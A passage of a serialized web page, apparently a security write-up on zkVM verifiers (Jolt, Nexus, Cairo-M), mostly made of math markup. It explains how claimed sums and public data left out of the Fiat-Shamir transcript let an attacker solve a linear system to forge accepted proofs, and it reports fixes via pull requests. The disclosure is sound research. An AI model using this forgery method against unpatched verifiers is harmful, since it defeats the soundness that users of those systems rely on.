",{"type":24,"tag":284,"props":123346,"children":123348},{"className":123347},[2949,2950],[123349],{"type":24,"tag":327,"props":123350,"children":123352},{"className":123351},[2955],[123353],{"type":24,"tag":327,"props":123354,"children":123356},{"className":123355,"ariaHidden":2961},[2960],[123357,123383,123409,123435],{"type":24,"tag":327,"props":123358,"children":123360},{"className":123359},[2966],[123361,123365,123370,123374,123379],{"type":24,"tag":327,"props":123362,"children":123364},{"className":123363,"style":121857},[2971],[],{"type":24,"tag":327,"props":123366,"children":123368},{"className":123367},[2977,2978],[123369],{"type":29,"value":57},{"type":24,"tag":327,"props":123371,"children":123373},{"className":123372,"style":3705},[2992],[],{"type":24,"tag":327,"props":123375,"children":123377},{"className":123376},[3710],[123378],{"type":29,"value":118036},{"type":24,"tag":327,"props":123380,"children":123382},{"className":123381,"style":3705},[2992],[],{"type":24,"tag":327,"props":123384,"children":123386},{"className":123385},[2966],[123387,123391,123396,123400,123405],{"type":24,"tag":327,"props":123388,"children":123390},{"className":123389,"style":121886},[2971],[],{"type":24,"tag":327,"props":123392,"children":123394},{"className":123393,"style":100008},[2977,2978],[123395],{"type":29,"value":100011},{"type":24,"tag":327,"props":123397,"children":123399},{"className":123398,"style":3705},[2992],[],{"type":24,"tag":327,"props":123401,"children":123403},{"className":123402},[3710],[123404],{"type":29,"value":394},{"type":24,"tag":327,"props":123406,"children":123408},{"className":123407,"style":3705},[2992],[],{"type":24,"tag":327,"props":123410,"children":123412},{"className":123411},[2966],[123413,123417,123422,123426,123431],{"type":24,"tag":327,"props":123414,"children":123416},{"className":123415,"style":99689},[2971],[],{"type":24,"tag":327,"props":123418,"children":123420},{"className":123419},[2977,2978],[123421],{"type":29,"value":10828},{"type":24,"tag":327,"props":123423,"children":123425},{"className":123424,"style":2993},[2992],[],{"type":24,"tag":327,"props":123427,"children":123429},{"className":123428},[2998],[123430],{"type":29,"value":384},{"type":24,"tag":327,"props":123432,"children":123434},{"className":123433,"style":2993},[2992],[],{"type":24,"tag":327,"props":123436,"children":123438},{"className":123437},[2966],[123439,123443,123452,123457],{"type":24,"tag":327,"props":123440,"children":123442},{"className":123441,"style":101187},[2971],[],{"type":24,"tag":327,"props":123444,"children":123446},{"className":123445},[2977,29],[123447],{"type":24,"tag":327,"props":123448,"children":123450},{"className":123449},[2977],[123451],{"type":29,"value":123328},{"type":24,"tag":327,"props":123453,"children":123455},{"className":123454,"style":99774},[2977],[123456],{"type":29,"value":10692},{"type":24,"tag":327,"props":123458,"children":123460},{"className":123459},[2977,29],[123461],{"type":24,"tag":327,"props":123462,"children":123464},{"className":123463},[2977],[123465],{"type":29,"value":44261},{"type":29,"value":66},{"type":24,"tag":25,"props":123468,"children":123469},{},[123470],{"type":29,"value":123471},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":24,"tag":25,"props":123473,"children":123474},{},[123475],{"type":29,"value":123476},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":24,"tag":25,"props":123478,"children":123479},{},[123480,123485,123487],{"type":24,"tag":188,"props":123481,"children":123482},{},[123483],{"type":29,"value":123484},"Status:",{"type":29,"value":123486}," Fixed on October 3, 2025 via ",{"type":24,"tag":57,"props":123488,"children":123491},{"href":123489,"rel":123490},"https://github.com/a16z/jolt/pull/981",[61],[123492],{"type":29,"value":123493},"PR #981",{"type":24,"tag":68,"props":123495,"children":123496},{},[],{"type":24,"tag":235,"props":123498,"children":123500},{"id":123499},"nexus",[123501],{"type":29,"value":114593},{"type":24,"tag":25,"props":123503,"children":123504},{},[123505],{"type":29,"value":123506},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":24,"tag":25,"props":123508,"children":123509},{},[123510,123512,123517],{"type":29,"value":123511},"Nexus splits verification into ",{"type":24,"tag":188,"props":123513,"children":123514},{},[123515],{"type":29,"value":123516},"components",{"type":29,"value":123518}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":24,"tag":25,"props":123520,"children":123521},{},[123522,123524,123529],{"type":29,"value":123523},"Each component emits and consumes lookup tuples. The component's ",{"type":24,"tag":284,"props":123525,"children":123527},{"className":123526},[],[123528],{"type":29,"value":121638},{"type":29,"value":123530}," summarizes its net contribution:",{"type":24,"tag":25,"props":123532,"children":123533},{},[123534],{"type":24,"tag":284,"props":123535,"children":123537},{"className":123536},[2949,2950],[123538],{"type":24,"tag":327,"props":123539,"children":123541},{"className":123540},[2955],[123542],{"type":24,"tag":327,"props":123543,"children":123545},{"className":123544,"ariaHidden":2961},[2960],[123546,123642,123891],{"type":24,"tag":327,"props":123547,"children":123549},{"className":123548},[2966],[123550,123554,123563,123568,123629,123633,123638],{"type":24,"tag":327,"props":123551,"children":123553},{"className":123552,"style":101187},[2971],[],{"type":24,"tag":327,"props":123555,"children":123557},{"className":123556},[2977,29],[123558],{"type":24,"tag":327,"props":123559,"children":123561},{"className":123560},[2977],[123562],{"type":29,"value":120867},{"type":24,"tag":327,"props":123564,"children":123566},{"className":123565,"style":99774},[2977],[123567],{"type":29,"value":10692},{"type":24,"tag":327,"props":123569,"children":123571},{"className":123570},[2977],[123572,123581],{"type":24,"tag":327,"props":123573,"children":123575},{"className":123574},[2977,29],[123576],{"type":24,"tag":327,"props":123577,"children":123579},{"className":123578},[2977],[123580],{"type":29,"value":83359},{"type":24,"tag":327,"props":123582,"children":123584},{"className":123583},[3032],[123585],{"type":24,"tag":327,"props":123586,"children":123588},{"className":123587},[3037,3038],[123589,123618],{"type":24,"tag":327,"props":123590,"children":123592},{"className":123591},[3043],[123593,123613],{"type":24,"tag":327,"props":123594,"children":123596},{"className":123595,"style":100303},[3048],[123597],{"type":24,"tag":327,"props":123598,"children":123599},{"style":120904},[123600,123604],{"type":24,"tag":327,"props":123601,"children":123603},{"className":123602,"style":3059},[3058],[],{"type":24,"tag":327,"props":123605,"children":123607},{"className":123606},[3064,3065,3066,3067],[123608],{"type":24,"tag":327,"props":123609,"children":123611},{"className":123610},[2977,2978,3067],[123612],{"type":29,"value":11334},{"type":24,"tag":327,"props":123614,"children":123616},{"className":123615},[3150],[123617],{"type":29,"value":3153},{"type":24,"tag":327,"props":123619,"children":123621},{"className":123620},[3043],[123622],{"type":24,"tag":327,"props":123623,"children":123625},{"className":123624,"style":99857},[3048],[123626],{"type":24,"tag":327,"props":123627,"children":123628},{},[],{"type":24,"tag":327,"props":123630,"children":123632},{"className":123631,"style":2993},[2992],[],{"type":24,"tag":327,"props":123634,"children":123636},{"className":123635},[2998],[123637],{"type":29,"value":384},{"type":24,"tag":327,"props":123639,"children":123641},{"className":123640,"style":2993},[2992],[],{"type":24,"tag":327,"props":123643,"children":123645},{"className":123644},[2966],[123646,123651,123708,123712,123878,123882,123887],{"type":24,"tag":327,"props":123647,"children":123650},{"className":123648,"style":123649},[2971],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":24,"tag":327,"props":123652,"children":123654},{"className":123653},[3018],[123655,123660],{"type":24,"tag":327,"props":123656,"children":123658},{"className":123657,"style":3025},[3018,3023,3024],[123659],{"type":29,"value":115569},{"type":24,"tag":327,"props":123661,"children":123663},{"className":123662},[3032],[123664],{"type":24,"tag":327,"props":123665,"children":123667},{"className":123666},[3037,3038],[123668,123697],{"type":24,"tag":327,"props":123669,"children":123671},{"className":123670},[3043],[123672,123692],{"type":24,"tag":327,"props":123673,"children":123675},{"className":123674,"style":120981},[3048],[123676],{"type":24,"tag":327,"props":123677,"children":123678},{"style":3053},[123679,123683],{"type":24,"tag":327,"props":123680,"children":123682},{"className":123681,"style":3059},[3058],[],{"type":24,"tag":327,"props":123684,"children":123686},{"className":123685},[3064,3065,3066,3067],[123687],{"type":24,"tag":327,"props":123688,"children":123690},{"className":123689,"style":120997},[2977,2978,3067],[123691],{"type":29,"value":16216},{"type":24,"tag":327,"props":123693,"children":123695},{"className":123694},[3150],[123696],{"type":29,"value":3153},{"type":24,"tag":327,"props":123698,"children":123700},{"className":123699},[3043],[123701],{"type":24,"tag":327,"props":123702,"children":123704},{"className":123703,"style":121012},[3048],[123705],{"type":24,"tag":327,"props":123706,"children":123707},{},[],{"type":24,"tag":327,"props":123709,"children":123711},{"className":123710,"style":3169},[2992],[],{"type":24,"tag":327,"props":123713,"children":123715},{"className":123714},[2977],[123716,123720,123874],{"type":24,"tag":327,"props":123717,"children":123719},{"className":123718},[3121,120292],[],{"type":24,"tag":327,"props":123721,"children":123723},{"className":123722},[120297],[123724],{"type":24,"tag":327,"props":123725,"children":123727},{"className":123726},[3037,3038],[123728,123862],{"type":24,"tag":327,"props":123729,"children":123731},{"className":123730},[3043],[123732,123857],{"type":24,"tag":327,"props":123733,"children":123735},{"className":123734,"style":120310},[3048],[123736,123826,123837],{"type":24,"tag":327,"props":123737,"children":123738},{"style":120314},[123739,123743],{"type":24,"tag":327,"props":123740,"children":123742},{"className":123741,"style":118945},[3058],[],{"type":24,"tag":327,"props":123744,"children":123746},{"className":123745},[3064,3065,3066,3067],[123747],{"type":24,"tag":327,"props":123748,"children":123750},{"className":123749},[2977,3067],[123751,123756,123761],{"type":24,"tag":327,"props":123752,"children":123754},{"className":123753,"style":120331},[2977,2978,3067],[123755],{"type":29,"value":120334},{"type":24,"tag":327,"props":123757,"children":123759},{"className":123758},[3710,3067],[123760],{"type":29,"value":11647},{"type":24,"tag":327,"props":123762,"children":123764},{"className":123763},[2977,3067],[123765,123775],{"type":24,"tag":327,"props":123766,"children":123768},{"className":123767},[2977,29,3067],[123769],{"type":24,"tag":327,"props":123770,"children":123772},{"className":123771},[2977,3067],[123773],{"type":29,"value":123774},"produced",{"type":24,"tag":327,"props":123776,"children":123778},{"className":123777},[3032],[123779],{"type":24,"tag":327,"props":123780,"children":123782},{"className":123781},[3037,3038],[123783,123814],{"type":24,"tag":327,"props":123784,"children":123786},{"className":123785},[3043],[123787,123809],{"type":24,"tag":327,"props":123788,"children":123791},{"className":123789,"style":123790},[3048],"height:0.2052em;",[123792],{"type":24,"tag":327,"props":123793,"children":123795},{"style":123794},"top:-2.2341em;margin-right:0.0714em;",[123796,123800],{"type":24,"tag":327,"props":123797,"children":123799},{"className":123798,"style":115634},[3058],[],{"type":24,"tag":327,"props":123801,"children":123803},{"className":123802},[3064,115639,115640,3067],[123804],{"type":24,"tag":327,"props":123805,"children":123807},{"className":123806,"style":120997},[2977,2978,3067],[123808],{"type":29,"value":16216},{"type":24,"tag":327,"props":123810,"children":123812},{"className":123811},[3150],[123813],{"type":29,"value":3153},{"type":24,"tag":327,"props":123815,"children":123817},{"className":123816},[3043],[123818],{"type":24,"tag":327,"props":123819,"children":123822},{"className":123820,"style":123821},[3048],"height:0.4048em;",[123823],{"type":24,"tag":327,"props":123824,"children":123825},{},[],{"type":24,"tag":327,"props":123827,"children":123828},{"style":120347},[123829,123833],{"type":24,"tag":327,"props":123830,"children":123832},{"className":123831,"style":118945},[3058],[],{"type":24,"tag":327,"props":123834,"children":123836},{"className":123835,"style":120357},[120356],[],{"type":24,"tag":327,"props":123838,"children":123839},{"style":120361},[123840,123844],{"type":24,"tag":327,"props":123841,"children":123843},{"className":123842,"style":118945},[3058],[],{"type":24,"tag":327,"props":123845,"children":123847},{"className":123846},[3064,3065,3066,3067],[123848],{"type":24,"tag":327,"props":123849,"children":123851},{"className":123850},[2977,3067],[123852],{"type":24,"tag":327,"props":123853,"children":123855},{"className":123854},[2977,3067],[123856],{"type":29,"value":3238},{"type":24,"tag":327,"props":123858,"children":123860},{"className":123859},[3150],[123861],{"type":29,"value":3153},{"type":24,"tag":327,"props":123863,"children":123865},{"className":123864},[3043],[123866],{"type":24,"tag":327,"props":123867,"children":123870},{"className":123868,"style":123869},[3048],"height:0.6283em;",[123871],{"type":24,"tag":327,"props":123872,"children":123873},{},[],{"type":24,"tag":327,"props":123875,"children":123877},{"className":123876},[3143,120292],[],{"type":24,"tag":327,"props":123879,"children":123881},{"className":123880,"style":3705},[2992],[],{"type":24,"tag":327,"props":123883,"children":123885},{"className":123884},[3710],[123886],{"type":29,"value":11647},{"type":24,"tag":327,"props":123888,"children":123890},{"className":123889,"style":3705},[2992],[],{"type":24,"tag":327,"props":123892,"children":123894},{"className":123893},[2966],[123895,123899,123956,123960],{"type":24,"tag":327,"props":123896,"children":123898},{"className":123897,"style":121206},[2971],[],{"type":24,"tag":327,"props":123900,"children":123902},{"className":123901},[3018],[123903,123908],{"type":24,"tag":327,"props":123904,"children":123906},{"className":123905,"style":3025},[3018,3023,3024],[123907],{"type":29,"value":115569},{"type":24,"tag":327,"props":123909,"children":123911},{"className":123910},[3032],[123912],{"type":24,"tag":327,"props":123913,"children":123915},{"className":123914},[3037,3038],[123916,123945],{"type":24,"tag":327,"props":123917,"children":123919},{"className":123918},[3043],[123920,123940],{"type":24,"tag":327,"props":123921,"children":123923},{"className":123922,"style":120446},[3048],[123924],{"type":24,"tag":327,"props":123925,"children":123926},{"style":3053},[123927,123931],{"type":24,"tag":327,"props":123928,"children":123930},{"className":123929,"style":3059},[3058],[],{"type":24,"tag":327,"props":123932,"children":123934},{"className":123933},[3064,3065,3066,3067],[123935],{"type":24,"tag":327,"props":123936,"children":123938},{"className":123937,"style":101203},[2977,2978,3067],[123939],{"type":29,"value":95411},{"type":24,"tag":327,"props":123941,"children":123943},{"className":123942},[3150],[123944],{"type":29,"value":3153},{"type":24,"tag":327,"props":123946,"children":123948},{"className":123947},[3043],[123949],{"type":24,"tag":327,"props":123950,"children":123952},{"className":123951,"style":121261},[3048],[123953],{"type":24,"tag":327,"props":123954,"children":123955},{},[],{"type":24,"tag":327,"props":123957,"children":123959},{"className":123958,"style":3169},[2992],[],{"type":24,"tag":327,"props":123961,"children":123963},{"className":123962},[2977],[123964,123968,124118],{"type":24,"tag":327,"props":123965,"children":123967},{"className":123966},[3121,120292],[],{"type":24,"tag":327,"props":123969,"children":123971},{"className":123970},[120297],[123972],{"type":24,"tag":327,"props":123973,"children":123975},{"className":123974},[3037,3038],[123976,124107],{"type":24,"tag":327,"props":123977,"children":123979},{"className":123978},[3043],[123980,124102],{"type":24,"tag":327,"props":123981,"children":123983},{"className":123982,"style":120310},[3048],[123984,124071,124082],{"type":24,"tag":327,"props":123985,"children":123986},{"style":120314},[123987,123991],{"type":24,"tag":327,"props":123988,"children":123990},{"className":123989,"style":118945},[3058],[],{"type":24,"tag":327,"props":123992,"children":123994},{"className":123993},[3064,3065,3066,3067],[123995],{"type":24,"tag":327,"props":123996,"children":123998},{"className":123997},[2977,3067],[123999,124004,124009],{"type":24,"tag":327,"props":124000,"children":124002},{"className":124001,"style":120331},[2977,2978,3067],[124003],{"type":29,"value":120334},{"type":24,"tag":327,"props":124005,"children":124007},{"className":124006},[3710,3067],[124008],{"type":29,"value":11647},{"type":24,"tag":327,"props":124010,"children":124012},{"className":124011},[2977,3067],[124013,124023],{"type":24,"tag":327,"props":124014,"children":124016},{"className":124015},[2977,29,3067],[124017],{"type":24,"tag":327,"props":124018,"children":124020},{"className":124019},[2977,3067],[124021],{"type":29,"value":124022},"consumed",{"type":24,"tag":327,"props":124024,"children":124026},{"className":124025},[3032],[124027],{"type":24,"tag":327,"props":124028,"children":124030},{"className":124029},[3037,3038],[124031,124060],{"type":24,"tag":327,"props":124032,"children":124034},{"className":124033},[3043],[124035,124055],{"type":24,"tag":327,"props":124036,"children":124038},{"className":124037,"style":119106},[3048],[124039],{"type":24,"tag":327,"props":124040,"children":124041},{"style":121351},[124042,124046],{"type":24,"tag":327,"props":124043,"children":124045},{"className":124044,"style":115634},[3058],[],{"type":24,"tag":327,"props":124047,"children":124049},{"className":124048},[3064,115639,115640,3067],[124050],{"type":24,"tag":327,"props":124051,"children":124053},{"className":124052,"style":101203},[2977,2978,3067],[124054],{"type":29,"value":95411},{"type":24,"tag":327,"props":124056,"children":124058},{"className":124057},[3150],[124059],{"type":29,"value":3153},{"type":24,"tag":327,"props":124061,"children":124063},{"className":124062},[3043],[124064],{"type":24,"tag":327,"props":124065,"children":124067},{"className":124066,"style":121378},[3048],[124068],{"type":24,"tag":327,"props":124069,"children":124070},{},[],{"type":24,"tag":327,"props":124072,"children":124073},{"style":120347},[124074,124078],{"type":24,"tag":327,"props":124075,"children":124077},{"className":124076,"style":118945},[3058],[],{"type":24,"tag":327,"props":124079,"children":124081},{"className":124080,"style":120357},[120356],[],{"type":24,"tag":327,"props":124083,"children":124084},{"style":120361},[124085,124089],{"type":24,"tag":327,"props":124086,"children":124088},{"className":124087,"style":118945},[3058],[],{"type":24,"tag":327,"props":124090,"children":124092},{"className":124091},[3064,3065,3066,3067],[124093],{"type":24,"tag":327,"props":124094,"children":124096},{"className":124095},[2977,3067],[124097],{"type":24,"tag":327,"props":124098,"children":124100},{"className":124099},[2977,3067],[124101],{"type":29,"value":3238},{"type":24,"tag":327,"props":124103,"children":124105},{"className":124104},[3150],[124106],{"type":29,"value":3153},{"type":24,"tag":327,"props":124108,"children":124110},{"className":124109},[3043],[124111],{"type":24,"tag":327,"props":124112,"children":124114},{"className":124113,"style":121426},[3048],[124115],{"type":24,"tag":327,"props":124116,"children":124117},{},[],{"type":24,"tag":327,"props":124119,"children":124121},{"className":124120},[3143,120292],[],{"type":24,"tag":25,"props":124123,"children":124124},{},[124125,124127,124132],{"type":29,"value":124126},"All ",{"type":24,"tag":284,"props":124128,"children":124130},{"className":124129},[],[124131],{"type":29,"value":121638},{"type":29,"value":124133}," values must sum to zero (everything produced is consumed).",{"type":24,"tag":25,"props":124135,"children":124136},{},[124137,124139,124144],{"type":29,"value":124138},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":24,"tag":188,"props":124140,"children":124141},{},[124142],{"type":29,"value":124143},"OODS (Out-of-Domain Sampling)",{"type":29,"value":124145}," test.",{"type":24,"tag":25,"props":124147,"children":124148},{},[124149],{"type":24,"tag":188,"props":124150,"children":124151},{},[124152],{"type":29,"value":122190},{"type":24,"tag":317,"props":124154,"children":124156},{"code":124155},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[124157],{"type":24,"tag":284,"props":124158,"children":124159},{"__ignoreMap":7},[124160],{"type":29,"value":124155},{"type":24,"tag":25,"props":124162,"children":124163},{},[124164,124166,124171],{"type":29,"value":124165},"The",{"type":24,"tag":284,"props":124167,"children":124169},{"className":124168},[],[124170],{"type":29,"value":121638},{"type":29,"value":124172}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":24,"tag":25,"props":124174,"children":124175},{},[124176],{"type":24,"tag":11511,"props":124177,"children":124180},{"alt":124178,"src":124179},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":24,"tag":25,"props":124182,"children":124183},{},[124184,124186,124195],{"type":29,"value":124185},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":24,"tag":188,"props":124187,"children":124188},{},[124189,124190],{"type":29,"value":118645},{"type":24,"tag":284,"props":124191,"children":124193},{"className":124192},[],[124194],{"type":29,"value":121638},{"type":29,"value":1636},{"type":24,"tag":25,"props":124197,"children":124198},{},[124199],{"type":29,"value":124200},"The composition polynomial is a random linear combination of constraints:",{"type":24,"tag":25,"props":124202,"children":124203},{},[124204],{"type":24,"tag":284,"props":124205,"children":124207},{"className":124206},[2949,2950],[124208],{"type":24,"tag":327,"props":124209,"children":124211},{"className":124210},[2955],[124212],{"type":24,"tag":327,"props":124213,"children":124215},{"className":124214,"ariaHidden":2961},[2960],[124216,124257,124396],{"type":24,"tag":327,"props":124217,"children":124219},{"className":124218},[2966],[124220,124224,124229,124234,124239,124244,124248,124253],{"type":24,"tag":327,"props":124221,"children":124223},{"className":124222,"style":3685},[2971],[],{"type":24,"tag":327,"props":124225,"children":124227},{"className":124226,"style":3528},[2977,2978],[124228],{"type":29,"value":123003},{"type":24,"tag":327,"props":124230,"children":124232},{"className":124231},[3121],[124233],{"type":29,"value":349},{"type":24,"tag":327,"props":124235,"children":124237},{"className":124236},[2977,2978],[124238],{"type":29,"value":603},{"type":24,"tag":327,"props":124240,"children":124242},{"className":124241},[3143],[124243],{"type":29,"value":3146},{"type":24,"tag":327,"props":124245,"children":124247},{"className":124246,"style":2993},[2992],[],{"type":24,"tag":327,"props":124249,"children":124251},{"className":124250},[2998],[124252],{"type":29,"value":384},{"type":24,"tag":327,"props":124254,"children":124256},{"className":124255,"style":2993},[2992],[],{"type":24,"tag":327,"props":124258,"children":124260},{"className":124259},[2966],[124261,124265,124322,124326,124383,124387,124392],{"type":24,"tag":327,"props":124262,"children":124264},{"className":124263,"style":122407},[2971],[],{"type":24,"tag":327,"props":124266,"children":124268},{"className":124267},[3018],[124269,124274],{"type":24,"tag":327,"props":124270,"children":124272},{"className":124271,"style":3025},[3018,3023,3024],[124273],{"type":29,"value":115569},{"type":24,"tag":327,"props":124275,"children":124277},{"className":124276},[3032],[124278],{"type":24,"tag":327,"props":124279,"children":124281},{"className":124280},[3037,3038],[124282,124311],{"type":24,"tag":327,"props":124283,"children":124285},{"className":124284},[3043],[124286,124306],{"type":24,"tag":327,"props":124287,"children":124289},{"className":124288,"style":120981},[3048],[124290],{"type":24,"tag":327,"props":124291,"children":124292},{"style":3053},[124293,124297],{"type":24,"tag":327,"props":124294,"children":124296},{"className":124295,"style":3059},[3058],[],{"type":24,"tag":327,"props":124298,"children":124300},{"className":124299},[3064,3065,3066,3067],[124301],{"type":24,"tag":327,"props":124302,"children":124304},{"className":124303},[2977,2978,3067],[124305],{"type":29,"value":11334},{"type":24,"tag":327,"props":124307,"children":124309},{"className":124308},[3150],[124310],{"type":29,"value":3153},{"type":24,"tag":327,"props":124312,"children":124314},{"className":124313},[3043],[124315],{"type":24,"tag":327,"props":124316,"children":124318},{"className":124317,"style":121261},[3048],[124319],{"type":24,"tag":327,"props":124320,"children":124321},{},[],{"type":24,"tag":327,"props":124323,"children":124325},{"className":124324,"style":3169},[2992],[],{"type":24,"tag":327,"props":124327,"children":124329},{"className":124328},[2977],[124330,124335],{"type":24,"tag":327,"props":124331,"children":124333},{"className":124332,"style":121862},[2977,2978],[124334],{"type":29,"value":121865},{"type":24,"tag":327,"props":124336,"children":124338},{"className":124337},[3032],[124339],{"type":24,"tag":327,"props":124340,"children":124342},{"className":124341},[3037,3038],[124343,124372],{"type":24,"tag":327,"props":124344,"children":124346},{"className":124345},[3043],[124347,124367],{"type":24,"tag":327,"props":124348,"children":124350},{"className":124349,"style":100303},[3048],[124351],{"type":24,"tag":327,"props":124352,"children":124353},{"style":122497},[124354,124358],{"type":24,"tag":327,"props":124355,"children":124357},{"className":124356,"style":3059},[3058],[],{"type":24,"tag":327,"props":124359,"children":124361},{"className":124360},[3064,3065,3066,3067],[124362],{"type":24,"tag":327,"props":124363,"children":124365},{"className":124364},[2977,2978,3067],[124366],{"type":29,"value":11334},{"type":24,"tag":327,"props":124368,"children":124370},{"className":124369},[3150],[124371],{"type":29,"value":3153},{"type":24,"tag":327,"props":124373,"children":124375},{"className":124374},[3043],[124376],{"type":24,"tag":327,"props":124377,"children":124379},{"className":124378,"style":99857},[3048],[124380],{"type":24,"tag":327,"props":124381,"children":124382},{},[],{"type":24,"tag":327,"props":124384,"children":124386},{"className":124385,"style":3705},[2992],[],{"type":24,"tag":327,"props":124388,"children":124390},{"className":124389},[3710],[124391],{"type":29,"value":118036},{"type":24,"tag":327,"props":124393,"children":124395},{"className":124394,"style":3705},[2992],[],{"type":24,"tag":327,"props":124397,"children":124399},{"className":124398},[2966],[124400,124404,124466,124471,124476],{"type":24,"tag":327,"props":124401,"children":124403},{"className":124402,"style":3685},[2971],[],{"type":24,"tag":327,"props":124405,"children":124407},{"className":124406},[2977],[124408,124418],{"type":24,"tag":327,"props":124409,"children":124411},{"className":124410},[2977,29],[124412],{"type":24,"tag":327,"props":124413,"children":124415},{"className":124414},[2977],[124416],{"type":29,"value":124417},"constraint",{"type":24,"tag":327,"props":124419,"children":124421},{"className":124420},[3032],[124422],{"type":24,"tag":327,"props":124423,"children":124425},{"className":124424},[3037,3038],[124426,124455],{"type":24,"tag":327,"props":124427,"children":124429},{"className":124428},[3043],[124430,124450],{"type":24,"tag":327,"props":124431,"children":124433},{"className":124432,"style":100303},[3048],[124434],{"type":24,"tag":327,"props":124435,"children":124436},{"style":120904},[124437,124441],{"type":24,"tag":327,"props":124438,"children":124440},{"className":124439,"style":3059},[3058],[],{"type":24,"tag":327,"props":124442,"children":124444},{"className":124443},[3064,3065,3066,3067],[124445],{"type":24,"tag":327,"props":124446,"children":124448},{"className":124447},[2977,2978,3067],[124449],{"type":29,"value":11334},{"type":24,"tag":327,"props":124451,"children":124453},{"className":124452},[3150],[124454],{"type":29,"value":3153},{"type":24,"tag":327,"props":124456,"children":124458},{"className":124457},[3043],[124459],{"type":24,"tag":327,"props":124460,"children":124462},{"className":124461,"style":99857},[3048],[124463],{"type":24,"tag":327,"props":124464,"children":124465},{},[],{"type":24,"tag":327,"props":124467,"children":124469},{"className":124468},[3121],[124470],{"type":29,"value":349},{"type":24,"tag":327,"props":124472,"children":124474},{"className":124473},[2977,2978],[124475],{"type":29,"value":603},{"type":24,"tag":327,"props":124477,"children":124479},{"className":124478},[3143],[124480],{"type":29,"value":3146},{"type":24,"tag":25,"props":124482,"children":124483},{},[124484,124486,124491,124493,124498],{"type":29,"value":124485},"Since each constraint is linear in its ",{"type":24,"tag":284,"props":124487,"children":124489},{"className":124488},[],[124490],{"type":29,"value":121638},{"type":29,"value":124492},", the overall composition polynomial is linear in all ",{"type":24,"tag":284,"props":124494,"children":124496},{"className":124495},[],[124497],{"type":29,"value":121638},{"type":29,"value":124499}," values.",{"type":24,"tag":25,"props":124501,"children":124502},{},[124503,124505],{"type":29,"value":124504},"The verifier checks ",{"type":24,"tag":284,"props":124506,"children":124508},{"className":124507},[2949,2950],[124509],{"type":24,"tag":327,"props":124510,"children":124512},{"className":124511},[2955],[124513],{"type":24,"tag":327,"props":124514,"children":124516},{"className":124515,"ariaHidden":2961},[2960],[124517,124578],{"type":24,"tag":327,"props":124518,"children":124520},{"className":124519},[2966],[124521,124525,124530,124535,124545,124550,124560,124565,124569,124574],{"type":24,"tag":327,"props":124522,"children":124524},{"className":124523,"style":99716},[2971],[],{"type":24,"tag":327,"props":124526,"children":124528},{"className":124527,"style":3528},[2977,2978],[124529],{"type":29,"value":123003},{"type":24,"tag":327,"props":124531,"children":124533},{"className":124532},[3121],[124534],{"type":29,"value":349},{"type":24,"tag":327,"props":124536,"children":124538},{"className":124537},[2977,29],[124539],{"type":24,"tag":327,"props":124540,"children":124542},{"className":124541},[2977],[124543],{"type":29,"value":124544},"oods",{"type":24,"tag":327,"props":124546,"children":124548},{"className":124547,"style":99774},[2977],[124549],{"type":29,"value":10692},{"type":24,"tag":327,"props":124551,"children":124553},{"className":124552},[2977,29],[124554],{"type":24,"tag":327,"props":124555,"children":124557},{"className":124556},[2977],[124558],{"type":29,"value":124559},"point",{"type":24,"tag":327,"props":124561,"children":124563},{"className":124562},[3143],[124564],{"type":29,"value":3146},{"type":24,"tag":327,"props":124566,"children":124568},{"className":124567,"style":2993},[2992],[],{"type":24,"tag":327,"props":124570,"children":124572},{"className":124571},[2998],[124573],{"type":29,"value":384},{"type":24,"tag":327,"props":124575,"children":124577},{"className":124576,"style":2993},[2992],[],{"type":24,"tag":327,"props":124579,"children":124581},{"className":124580},[2966],[124582,124586],{"type":24,"tag":327,"props":124583,"children":124585},{"className":124584,"style":121829},[2971],[],{"type":24,"tag":327,"props":124587,"children":124589},{"className":124588},[2977,29],[124590],{"type":24,"tag":327,"props":124591,"children":124593},{"className":124592},[2977],[124594],{"type":29,"value":123328},{"type":24,"tag":25,"props":124596,"children":124597},{},[124598,124600,124605,124607,124612],{"type":29,"value":124599},"With ",{"type":24,"tag":284,"props":124601,"children":124603},{"className":124602},[],[124604],{"type":29,"value":121638},{"type":29,"value":124606}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":24,"tag":284,"props":124608,"children":124610},{"className":124609},[],[124611],{"type":29,"value":121638},{"type":29,"value":124613}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":24,"tag":25,"props":124615,"children":124616},{},[124617,124621,124623],{"type":24,"tag":188,"props":124618,"children":124619},{},[124620],{"type":29,"value":123484},{"type":29,"value":124622}," Fixed on October 24, 2025 via ",{"type":24,"tag":57,"props":124624,"children":124627},{"href":124625,"rel":124626},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[61],[124628],{"type":29,"value":124629},"PR #503",{"type":24,"tag":68,"props":124631,"children":124632},{},[],{"type":24,"tag":235,"props":124634,"children":124636},{"id":124635},"cairo-m-kakarot-labs",[124637],{"type":29,"value":124638},"Cairo-M (Kakarot Labs)",{"type":24,"tag":25,"props":124640,"children":124641},{},[124642],{"type":29,"value":124643},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":24,"tag":25,"props":124645,"children":124646},{},[124647],{"type":29,"value":124648},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":24,"tag":25,"props":124650,"children":124651},{},[124652],{"type":24,"tag":188,"props":124653,"children":124654},{},[124655],{"type":29,"value":122190},{"type":24,"tag":317,"props":124657,"children":124659},{"code":124658},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: 